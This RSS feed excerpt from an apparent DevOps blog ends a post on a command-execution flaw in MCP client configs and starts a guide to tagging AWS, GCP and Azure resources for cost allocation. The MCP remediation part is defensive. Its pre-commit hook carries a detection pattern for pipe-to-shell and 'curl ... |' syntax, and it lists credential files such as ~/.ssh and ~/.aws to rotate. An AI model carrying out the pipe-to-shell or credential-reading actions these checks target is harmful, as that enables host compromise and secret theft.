        <a href="#h3-check-for-unexpected-additions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check for unexpected additions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-for-unexpected-additions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Look at git history on your local dotfiles and IDE configs. Anything that changed without an obvious reason in the last two weeks is worth investigating:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Example: audit Claude Code config history</span>
<span class="hljs-built_in">cd</span> ~/.claude
git <span class="hljs-built_in">log</span> --all --since <span class="hljs-string">&quot;2 weeks ago&quot;</span> -- mcp.json 2&gt;/dev/null

<span class="hljs-comment"># If you don&#x27;t version-control your configs:</span>
<span class="hljs-built_in">stat</span> ~/.cursor/mcp.json ~/.config/claude-code/config.json 2&gt;/dev/null
</code></pre><p>If the modified time on an MCP config file doesn&#39;t match any change you remember making, open it and read every command.</p>
<h2 id="h2-how-to-fix-it" class="group relative scroll-mt-24">
        <a href="#h2-how-to-fix-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Fix It
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-fix-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-update-your-ai-tooling" class="group relative scroll-mt-24">
        <a href="#h3-1-update-your-ai-tooling" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Update your AI tooling
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-update-your-ai-tooling"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every downstream vendor with an assigned CVE has published a patch. Go through the list:</p>
<ul>
<li><strong>LiteLLM</strong> (CVE-2026-30623): upgrade to the latest release per their security advisory</li>
<li><strong>Windsurf</strong> (CVE-2026-30615): update the IDE via the built-in updater</li>
<li><strong>GPT Researcher</strong> (CVE-2025-65720): pull latest from main</li>
<li><strong>Cursor, VS Code Claude extension, Claude Code, Gemini CLI</strong>: update to the latest versions; all have shipped hardening</li>
<li><strong>LangChain, LangFlow, Flowise</strong>: check their changelogs for MCP-related patches published on or after April 15, 2026</li>
</ul>
<p>This does <strong>not</strong> fix the underlying protocol. It fixes specific exploitation paths in each downstream. Treat each update as defense in depth, not a root fix.</p>
<h3 id="h3-2-rotate-everything-on-machines-where-you-run-mcp-servers" class="group relative scroll-mt-24">
        <a href="#h3-2-rotate-everything-on-machines-where-you-run-mcp-servers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Rotate everything on machines where you run MCP servers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-rotate-everything-on-machines-where-you-run-mcp-servers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you ran any MCP client with untrusted config even briefly, assume compromise and rotate:</p>
<ul>
<li>SSH keys (<code>~/.ssh/id_*</code>)</li>
<li>Cloud credentials (<code>~/.aws/credentials</code>, GCP service account JSON, Azure CLI tokens)</li>
<li>Git tokens (GitHub, GitLab, Bitbucket personal access tokens)</li>
<li>npm tokens (<code>~/.npmrc</code> auth tokens)</li>
<li>Any API key stored in an environment variable accessible to the MCP process</li>
</ul>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Inventory of common credential files to rotate if you suspect exposure</span>
<span class="hljs-built_in">ls</span> -la ~/.ssh ~/.aws ~/.config/gcloud 2&gt;/dev/null
grep -l <span class="hljs-string">&quot;TOKEN\|SECRET\|KEY&quot;</span> ~/.bashrc ~/.zshrc ~/.profile 2&gt;/dev/null
</code></pre><h3 id="h3-3-sandbox-mcp-servers" class="group relative scroll-mt-24">
        <a href="#h3-3-sandbox-mcp-servers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Sandbox MCP servers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-sandbox-mcp-servers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Run MCP servers and MCP-enabled agents inside a sandbox that limits what they can see:</p>
<ul>
<li><strong>Docker / Podman</strong>: run the IDE or MCP host inside a container with a minimal bind mount (just the repo, no <code>~/.ssh</code>, no <code>~/.aws</code>)</li>
<li><strong>Dev Containers</strong>: VS Code supports them natively. Move your AI work into one per project</li>
<li><strong>Firecracker / Kata Containers</strong>: stronger isolation if you&#39;re running servers for multiple customers</li>
<li><strong>macOS Sandbox / seccomp filters</strong>: last resort for host-level containment</li>
</ul>
<p>The principle: the MCP process should not have access to credentials that would be catastrophic if exfiltrated.</p>
<h3 id="h3-4-treat-mcp-config-as-untrusted-input" class="group relative scroll-mt-24">
        <a href="#h3-4-treat-mcp-config-as-untrusted-input" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Treat MCP config as untrusted input
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-treat-mcp-config-as-untrusted-input"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Any process (script, CI job, model) that writes to an MCP config file should be reviewed the same way you review arbitrary code. In a team setting:</p>
<ul>
<li>Version-control your MCP configs in git</li>
<li>Require code review on changes</li>
<li>Add a pre-commit hook that rejects obviously dangerous patterns (<code>$()</code>, backticks, pipe to sh)</li>
</ul>
<p>A sample pre-commit check:</p>
<pre><code class="hljs language-bash"><span class="hljs-meta">#!/usr/bin/env bash</span>
<span class="hljs-comment"># .git/hooks/pre-commit (partial)</span>
<span class="hljs-keyword">for</span> f <span class="hljs-keyword">in</span> $(git diff --cached --name-only | grep -E <span class="hljs-string">&#x27;mcp\.json|\.mcp\.yaml&#x27;</span>); <span class="hljs-keyword">do</span>
  <span class="hljs-keyword">if</span> grep -qE <span class="hljs-string">&#x27;\$\(|`|\|\s*sh|curl.*\|&#x27;</span> <span class="hljs-string">&quot;<span class="hljs-variable">$f</span>&quot;</span>; <span class="hljs-keyword">then</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;Blocked: suspicious shell syntax in <span class="hljs-variable">$f</span>&quot;</span>
    <span class="hljs-built_in">exit</span> 1
  <span class="hljs-keyword">fi</span>
<span class="hljs-keyword">done</span>
</code></pre><h2 id="h2-how-to-prevent-this-class-of-attack" class="group relative scroll-mt-24">
        <a href="#h2-how-to-prevent-this-class-of-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Prevent This Class of Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-prevent-this-class-of-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The MCP flaw is specific to one protocol, but the underlying pattern (trusting user-controlled strings at a shell boundary) is ancient. Hardening against it:</p>
<h3 id="h3-1-default-deny-public-exposure-on-anything-that-runs-untrusted-prompts" class="group relative scroll-mt-24">
        <a href="#h3-1-default-deny-public-exposure-on-anything-that-runs-untrusted-prompts" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Default-deny public exposure on anything that runs untrusted prompts
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-default-deny-public-exposure-on-anything-that-runs-untrusted-prompts"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If a service takes natural language in and executes commands out, it should not be on the public internet. Period. Authentication in front, private networking, zero-trust around the host. Assume the adversary already has valid user credentials.</p>
<h3 id="h3-2-sandbox-every-ai-agent-by-default" class="group relative scroll-mt-24">
        <a href="#h3-2-sandbox-every-ai-agent-by-default" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Sandbox every AI agent by default
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-sandbox-every-ai-agent-by-default"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The industry is drifting toward running more powerful agents on developer machines. Treat this the same way you treat a running unknown binary. Container per agent, minimal mounts, explicit allow-list for network access.</p>
<h3 id="h3-3-never-let-llm-output-reach-a-shell" class="group relative scroll-mt-24">
        <a href="#h3-3-never-let-llm-output-reach-a-shell" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Never let LLM output reach a shell
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-never-let-llm-output-reach-a-shell"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Any pipeline that hands model output straight to a subprocess is already broken in a dozen other ways. MCP&#39;s flaw is a reminder: the moment a model&#39;s output can reach a shell, you have an untrusted-input problem that no amount of prompt engineering fixes.</p>
<h3 id="h3-4-build-an-mcp-config-review-culture-on-your-team" class="group relative scroll-mt-24">
        <a href="#h3-4-build-an-mcp-config-review-culture-on-your-team" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Build an MCP config review culture on your team
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-build-an-mcp-config-review-culture-on-your-team"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>New MCP servers should be reviewed like new dependencies. Who maintains it? What does it run? Does the install step fetch anything remote? Make this a 2-minute checklist anyone on the team can do before adding a server.</p>
<h3 id="h3-5-monitor-tool-invocations" class="group relative scroll-mt-24">
        <a href="#h3-5-monitor-tool-invocations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Monitor tool invocations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-monitor-tool-invocations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you manage an MCP-enabled IDE fleet, log every tool call and alert on anomalies. Tools that suddenly start invoking <code>bash</code>, <code>sh</code>, <code>curl</code>, or <code>python -c</code> are the signal.</p>
<h2 id="h2-the-bigger-picture" class="group relative scroll-mt-24">
        <a href="#h2-the-bigger-picture" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Bigger Picture
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-bigger-picture"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The hardest part of this incident isn&#39;t the technical flaw. It&#39;s Anthropic&#39;s response. Their position, as reported, is that the STDIO execution model represents the &quot;expected&quot; default and sanitization is the implementer&#39;s job. That is technically defensible (every SDK docs the trust model) and practically a disaster because almost no downstream does the sanitization correctly.</p>
<p>This mirrors a decade of &quot;SQL injection is a developer problem&quot; arguments from database vendors before parameterized queries became the default. It took years of breaches before the industry accepted that the protocol needed to carry safer defaults.</p>
<p>MCP is young. It is being adopted at a rate npm took a decade to match. If the default stays &quot;unsandboxed shell spawn plus a developer footgun,&quot; the next three years of AI tooling security will look a lot like the WordPress plugin ecosystem did a decade ago. Lots of exploitable servers, lots of people acting surprised.</p>
<p>For your own team: assume MCP config is untrusted, sandbox every agent, and rotate credentials on any machine where an MCP server has ever run untrusted config. Those three steps cover most of the realistic risk today.</p>
<p>We track these at <a href="/news">/news</a> as they develop, and our <a href="/roadmap/devsecops">DevSecOps roadmap</a> and <a href="/checklists">security checklists</a> cover the broader &quot;treat AI agents like unknown binaries&quot; stance. If you want to read the source research, <a href="https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/">OX Security&#39;s full writeup</a> is the best place to start.</p>
<p>Related reading on our site: <a href="/posts/claude-code-source-leak-what-devops-engineers-should-learn">Claude Code source leak via npm source maps</a> and <a href="/posts/cli-vs-mcp-when-to-use-each">CLI vs MCP: when to use each</a> for background on the protocol itself.</p>
<hr>
<p>Reply on <a href="https://x.com/thedevopsdaily">X</a> or <a href="https://www.linkedin.com/company/thedevopsdaily">LinkedIn</a> if your team is handling this differently. We update this post as Anthropic and downstream vendors ship patches.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[How to Set Up Cloud Cost Allocation Tags Across AWS, GCP, and Azure]]></title>
      <link>https://devops-daily.com/posts/cloud-cost-allocation-tags-aws-gcp-azure</link>
      <description><![CDATA[A working playbook for tagging resources across AWS, GCP, and Azure so finance can finally answer which team spent what, and engineers can prove their workload is not the expensive one.]]></description>
      <pubDate>Mon, 20 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/cloud-cost-allocation-tags-aws-gcp-azure</guid>
      <category><![CDATA[FinOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[finops]]></category><category><![CDATA[cloud-costs]]></category><category><![CDATA[tagging]]></category><category><![CDATA[multi-cloud]]></category><category><![CDATA[aws]]></category><category><![CDATA[gcp]]></category><category><![CDATA[azure]]></category>
      <content:encoded><![CDATA[<p>Last quarter, finance walked into the platform standup with a printed spreadsheet and one question: &quot;Which team owns the $84,000 line item called <code>Untagged</code>?&quot;</p>
<p>Nobody knew. The bill spanned AWS, GCP, and Azure. Each cloud had its own tag schema, half the resources were created before anyone cared about tags, and the cost reports grouped everything that did not match a known key into a single bucket. The CFO wanted chargeback by team starting next month. The platform team had two weeks.</p>
<p>If you have ever lived through this conversation, this guide is for you. We will set up consistent cost allocation tags across all three clouds, enforce them at provisioning time, and make sure the data actually shows up in your billing exports.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Pick a small set of mandatory tag keys (<code>team</code>, <code>environment</code>, <code>cost-center</code>, <code>service</code>), apply them the same way in every cloud, enforce them with Terraform <code>default_tags</code> plus a policy engine (AWS Tag Policies, Azure Policy, GCP Org Policy), and activate them in each provider&#39;s billing console. Untagged resources should fail at apply time, not show up in next month&#39;s invoice.</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Admin access to your AWS organization, GCP organization, and Azure tenant root</li>
<li>Terraform 1.6+ for the enforcement examples</li>
<li>Access to the billing console in each cloud (AWS Billing, GCP Cloud Billing, Azure Cost Management)</li>
<li>A short list of cost dimensions your finance team actually wants to slice by</li>
</ul>
<h2 id="h2-step-1-agree-on-a-tag-schema-before-touching-any-cloud" class="group relative scroll-mt-24">
        <a href="#h2-step-1-agree-on-a-tag-schema-before-touching-any-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 1: Agree on a tag schema before touching any cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-1-agree-on-a-tag-schema-before-touching-any-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The mistake almost everyone makes is starting in the AWS console. You end up with <code>Team</code>, <code>team</code>, <code>TeamName</code>, and <code>owner</code> all meaning the same thing, and Cost Explorer treats them as four different dimensions.</p>
<p>Pick the keys once. Write them down. Commit the document to a repo before anyone provisions another resource.</p>
<p>A schema that works in practice:</p>
<pre><code class="hljs language-text">team          required   lowercase, no spaces      payments, growth, platform
environment   required   one of: prod, staging, dev, sandbox
cost-center   required   finance code              cc-1042, cc-2008
service       required   logical app or service    checkout-api, ml-training
managed-by    optional   provisioning system       terraform, manual, helm
data-class    optional   one of: public, internal, confidential, restricted
</code></pre><p>Two rules that save pain later:</p>
<ol>
<li><strong>All keys lowercase, hyphen separated.</strong> GCP labels reject uppercase outright. Azure tags are case-insensitive on lookup but case-sensitive when displayed. AWS preserves whatever you give it. Pick lowercase and stop arguing.</li>
<li><strong>All values from a controlled vocabulary where possible.</strong> &quot;Payments&quot; and &quot;payments-team&quot; and &quot;Payments Team&quot; will fragment your cost reports the same way uppercase keys do.</li>
</ol>
<h2 id="h2-step-2-aws-tag-then-activate" class="group relative scroll-mt-24">
        <a href="#h2-step-2-aws-tag-then-activate" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 2: AWS - tag, then activate
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-2-aws-tag-then-activate"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>AWS has a quirk that surprises new users: applying a tag to a resource does not automatically make it show up in cost reports. You have to <strong>activate</strong> it as a cost allocation tag in the billing console first, and only then will it appear in Cost Explorer and the Cost and Usage Report (CUR).</p>
<p>Set up Terraform with <code>default_tags</code> so every resource in a provider block inherits your schema:</p>
<pre><code class="hljs language-hcl"><span class="hljs-keyword">provider</span> <span class="hljs-string">&quot;aws&quot;</span> {
  region = <span class="hljs-string">&quot;eu-west-1&quot;</span>

  default_tags {
    tags = {
      team         = var.team
      environment  = var.environment
      cost-center  = var.cost_center
      service      = var.service
      managed-by   = <span class="hljs-string">&quot;terraform&quot;</span>
    }
  }
}

<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;aws_instance&quot;</span> <span class="hljs-string">&quot;api&quot;</span> {
  ami           = <span class="hljs-string">&quot;ami-0abcdef1234567890&quot;</span>
  instance_type = <span class="hljs-string">&quot;t3.medium&quot;</span>
  <span class="hljs-comment"># No tags block needed. Default tags are applied automatically.</span>
}
</code></pre><p>Activate the tags so AWS bills against them:</p>
<pre><code class="hljs language-bash">aws ce update-cost-allocation-tags-status \
  --cost-allocation-tags-status \
    <span class="hljs-string">&#x27;TagKey=team,Status=Active&#x27;</span> \
    <span class="hljs-string">&#x27;TagKey=environment,Status=Active&#x27;</span> \
    <span class="hljs-string">&#x27;TagKey=cost-center,Status=Active&#x27;</span> \
    <span class="hljs-string">&#x27;TagKey=service,Status=Active&#x27;</span>
</code></pre><p>Expected output:</p>
<pre><code class="hljs language-text">{
    &quot;Errors&quot;: []
}
</code></pre><p>Heads up: activated tags only apply to <strong>new</strong> usage. Costs from before activation stay untagged forever. Activate early.</p>
<p>To enforce that nothing untagged gets created, attach an AWS Organizations Tag Policy:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;tags&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;team&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;tag_key&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;@@assign&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;team&quot;</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;tag_value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
